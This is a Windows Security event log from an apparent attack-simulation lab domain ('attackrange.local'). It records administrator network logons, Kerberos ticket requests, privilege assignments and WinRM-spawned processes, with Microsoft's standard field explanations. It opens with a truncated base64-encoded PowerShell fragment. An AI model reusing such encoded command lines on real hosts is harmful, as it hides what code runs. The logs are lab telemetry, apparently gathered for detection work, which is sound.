EAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253304
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D404

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253303
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D404
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253302
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253301
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253300
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253299
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11fc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x49c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253298
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Process Information:
	New Process ID:		0x49c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253296
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253295
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253294
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253293
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253292
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D152

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253291
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253290
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1956BB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253289
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A0AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253288
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x196FFD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253287
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BA88

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253286
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199313

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253285
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D152

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253284
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D152
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253283
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253282
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253281
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253280
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D136

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253279
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D136

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253278
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D136
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253277
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253276
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

